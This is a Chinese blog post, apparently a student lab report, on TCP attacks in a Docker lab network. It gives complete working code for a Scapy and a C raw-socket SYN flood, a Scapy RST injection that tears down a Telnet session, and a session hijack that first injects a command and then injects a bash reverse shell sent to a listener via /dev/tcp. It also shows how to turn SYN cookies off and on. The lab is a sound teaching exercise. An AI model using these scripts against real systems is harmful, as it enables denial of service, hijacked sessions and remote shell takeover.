侧边栏壁纸
  • 累计撰写 47 篇文章
  • 累计创建 22 个标签
  • 累计收到 27 条评论

目 录CONTENT

文章目录

网络安全 07-假消息攻击-02-TCP攻击

vchopin
2022-05-12 / 1 评论 / 0 点赞 / 336 阅读 / 9,726 字

TCP 攻击实验

1 实验目标

本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中,我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击,为什么“看似良性”的错误会变成灾难,以及为什么需要许多安全机制。更重要的是,它还帮助学生了解漏洞的常见模式,从而避免将来犯类似的错误。此外,使用漏洞作为案例研究,学生可以学习安全设计、安全编程和安全测试的原则。

TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞;它们提供了一个宝贵的教训,说明了为什么安全性应该从一开始就设计好,而不是事后才加上。此外,研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,学生将对TCP进行几个攻击。本实验涵盖以下主题:

  • TCP协议
  • TCP SYN洪水攻击和SYN cookie
  • TCP重置攻击
  • TCP会话劫持攻击
  • 反向shell

2 目标一: SYN 泛洪攻击

我们可以首先查看系统中设定的SYN的队列长度:
sysctl net.ipv4.tcp_max_syn_backlog
image-1652343069544
由上图可以看到我们的系统设定的SYN的长度是128
然后我们查看当前网络的一个连接状态,使用netstat -nat查看,结果如下:
image-1652343254321

正常情况下,我们的ubuntu系统的会开启防止SYN防洪攻击策略,即SYN cookie,SYN cookie有如下策略:

进入到实验的victim的容器,并其防止SYM泛洪攻击的策略:
image-1652343626236
当然我们也可以使用如下命令对SYN cookies做关闭或开启:

 sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
 sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

2.1 使用Python发起攻击

根据上述思路,我们编写SYN泛洪攻击代码如下:

#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
  pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
  pkt[TCP].sport = getrandbits(16) # source port
  pkt[TCP].seq = getrandbits(32) # sequence number
  send(pkt, verbose = 0)

最后,保存代码执行,这里可以在attacker上执行也可以在宿主机上执行,这里我在宿主机上直接执行攻击指令,这里有值得注意的是,需要用管理员权限运行,否则会报如下错误:
image-1652344278979
我们正常运行指令如下:
image-1652344323795
持续发包一分钟后,我们尝试使用telnet连接
image-1652346315802
可以看到,已经无法连接,我们从docker进入到victim主机上,查看其网络状态,结果如下:
image-1652344494274
可以看到我们的攻击是起作用了的,其网络连接表中包含了大量的SYN_RECV半连接状态的TCP。
事实上,很多情况下我们会实验失败,要等很长的时间下,才可能把SYN队列全部充满。
这里我们可以采取以下方式来解决:

  • 清除victim的TCP缓存。在之前通过telnet连接到victim之后,会在victim的TCP缓存中记录该连接,会导致后续请求不会通过SYN建立而直接建立连接。我们可以通过ip tcp_metrics show查看连接情况,然后通过 ip tcp_metrics flush清除全部的连接缓存,这个时候再次连接就需要重新通过SYN建立连接。
  • 我们可以更改SYN+ACK packets的重试次数,来保持长时间连接sysctl net.ipv4.tcp_synack_retries = 5,默认就是5
  • 我们可以更改SYN的队列长度:sysctl -w net.ipv4.tcp_max_syn_backlog=80
    事实上,我们还可以定量计算当前SYN队列已有多少,查看其变化。我们进入到victim主机,使用netstat -tna | grep SYN_RECV | wc -l或者 ss -n state syn-recv sport = :23 | wc -l代码查看当前的SYN队列有多少,SYN队列有1/4属于保留队列,所以当连接队列数占总队列长度的3/4时,就不能在继续增加连接了,就会造成连接失败。如我们这里的97,已经超过128x3/4 = 96,那么最后就会造成阻塞,从而无法建立连接。
    image-1652358811694

2.2 使用C发起攻击

类似地,我们使用如下C代码进行攻击:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};


/* TCP Header */
struct tcpheader {
    u_short tcp_sport;               /* source port */
    u_short tcp_dport;               /* destination port */
    u_int   tcp_seq;                 /* sequence number */
    u_int   tcp_ack;                 /* acknowledgement number */
    u_char  tcp_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char  tcp_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short tcp_win;                 /* window */
    u_short tcp_sum;                 /* checksum */
    u_short tcp_urp;                 /* urgent pointer */
};

/* Psuedo TCP header */
struct pseudo_tcp
{
        unsigned saddr, daddr;
        unsigned char mbz;
        unsigned char ptcl;
        unsigned short tcpl;
        struct tcpheader tcp;
        char payload[1500];
};

//#define DEST_IP    "10.9.0.5"
//#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);

/*************************************************************
  Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
      fprintf(stderr, "socket() failed: %s\n", strerror(errno));
      exit(1);
    }

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   if (argc < 3) {
     printf("Please provide IP and Port number\n");
     printf("Usage: synflood ip port\n");
     exit(1);
   }

   char *DEST_IP   = argv[1];
   int DEST_PORT   = atoi(argv[2]);


   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally, send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}

/****************************************************************
  TCP checksum is calculated on the pseudo header, which includes
  the TCP header and data, plus some part of the IP header.
  Therefore, we need to construct the pseudo header first.
*****************************************************************/


unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

然后编译该c代码为可执行文件gcc -o synflood synflood.c
image-1652359318965
输入目的地址和端口发起SYN泛洪攻击
image-1652359423253
同样地,在等待大概一分钟后,试图登录victim主机,已经无法登录
image-1652346315802

2.2 开启syn cookies防御策略

为了对比目前比较强大的防SYN泛洪攻击的syn cookie防御策略的有效性,我们这次将syn cookies策略打开之后,在发送SYN半连接包。
首先打开syn cookies:sysctl -w net.ipv4.tcp_syncookies=1
image-1652359788020
查看当前的网络状态netstat
image-1652360872397
然后使用C程序(C程序要快一点)发送SYN半连接包,将SYN队列全部占满
image-1652361266149
在开启SYN cookies策略后,即使SYN半连接已经是128全部占满的情况下,还是能够正常连接,如下:
image-1652361220892

3 目标二:对Telnet发起 TCP RST 攻击

TCP RST参数可以终止TCP的两端的连接。例如当我们建立A、B之间的Telnet连接之后,如果攻击者嗅探到A、B之间的连接,通过构造虚假的TCP包,并在TCP包中加入RST符号,就能终结A、B之间的连接。
首先打开wireshark抓包
image-1652364718372
在user1和user2主机上建立telnet连接,如下:
image-1652362673812
此时已经从10.9.0.7连接到10.9.0.6上
重新打开wireshark,在filter栏输入ip.src==10.9.0.6筛选数据包
查看最近一次发包如下:
image-1652364637842

接着编写如下Python代码:

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=37216, dport=23, flags="R", seq=3555583645, ack=2419173914)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)

通过在运行攻击指令并发送TCP重置包,可以看到两个主机间通信已经断开连接,如下:
image-1652364552583
可见攻击成功。

3 目标三: TCP 会话劫持

TCP会话劫持的目的是劫持TCP两端的用户的会话,并往其中注入恶意代码,甚至可以删除一些较为重要的文件。
TCP会话过程如下:
image-1652365815425
我们本次实验就是劫持TCP会话。
我们首先打开wireshark捕捉网卡流量
image-1652364718372
在user1和user2主机上建立telnet连接,如下:
image-1652362673812
此时已经从10.9.0.7连接到10.9.0.6上
重新打开wireshark,在filter栏输入ip.src==10.9.0.6筛选数据包
查看最近一次发包如下:
image-1652367370356
伪造的数据包里,seq=最后一个数据包的ack,ack=wireshark里能看到的next seq
接着编写如下Python代码:

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=37282, dport=23, flags="A", seq=1360976480, ack=840361173)
data = "pwd\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

我们此处执行pwd命令来打印当前路径,执行代码,使用wireshark的筛选命令:ip.src==10.9.0.7查看服务器返回的数据,捕捉数据如下:
image-1652367939986
可以看见,命令pwd执行成功。并且服务端的history中并没有该命令记录
image-1652368034104

4 目标四:通过TCP会话劫持拿到反弹Shell

上文中的TCP劫持,只能一个一个的发命令,不能获得一个Shell一直执行命令,因此本节我们执行一个反弹shell的命令,使得攻击者能够拿到victim的shell。
一开始需要打开wireshark,选择br开头的那个网卡。
image-1652538691236
接着我们同样建立telnet的连接
image-1652537106773
然后使用wireshark捕捉数据包,找到最近一次的TCP连接(注意:这里应该是10.9.0.7发送到10.9.0.6主机的Telnet连接),并注意红框中的数据部分
image-1652539492719
我们需要伪造的数据包中 seq=最后一个数据包的ack,ack=wireshark里能看到的next seq
编写反弹shell的python命令:

#!/usr/bin/env python3

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=37412, dport=23, flags="A", seq=3873230366, ack=1208196466)
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

接着我们使用nc监听9090端口,看是否有反弹shell过来。
image-1652537998098
然后在attacker主机上执行攻击指令,查看包结构如下:
image-1652539325391
wireshark捕捉如下
image-1652537978415
查看nc窗口,是否捕捉到反弹shell
image-1652538589604
可以看到此时已经捕捉到了10.9.0.7主机反弹回来的shell,攻击成功。

参考

  1. TCP攻击 https://blog.csdn.net/weixin_47726676/article/details/117769602
  2. 网络层(TCP/UDP)攻击与防御原理 https://blog.csdn.net/weixin_45761101/article/details/122148497
  3. TCP协议详解及攻击/防范 https://www.bilibili.com/read/cv8084793/
0
  • 0
  • 1

评论区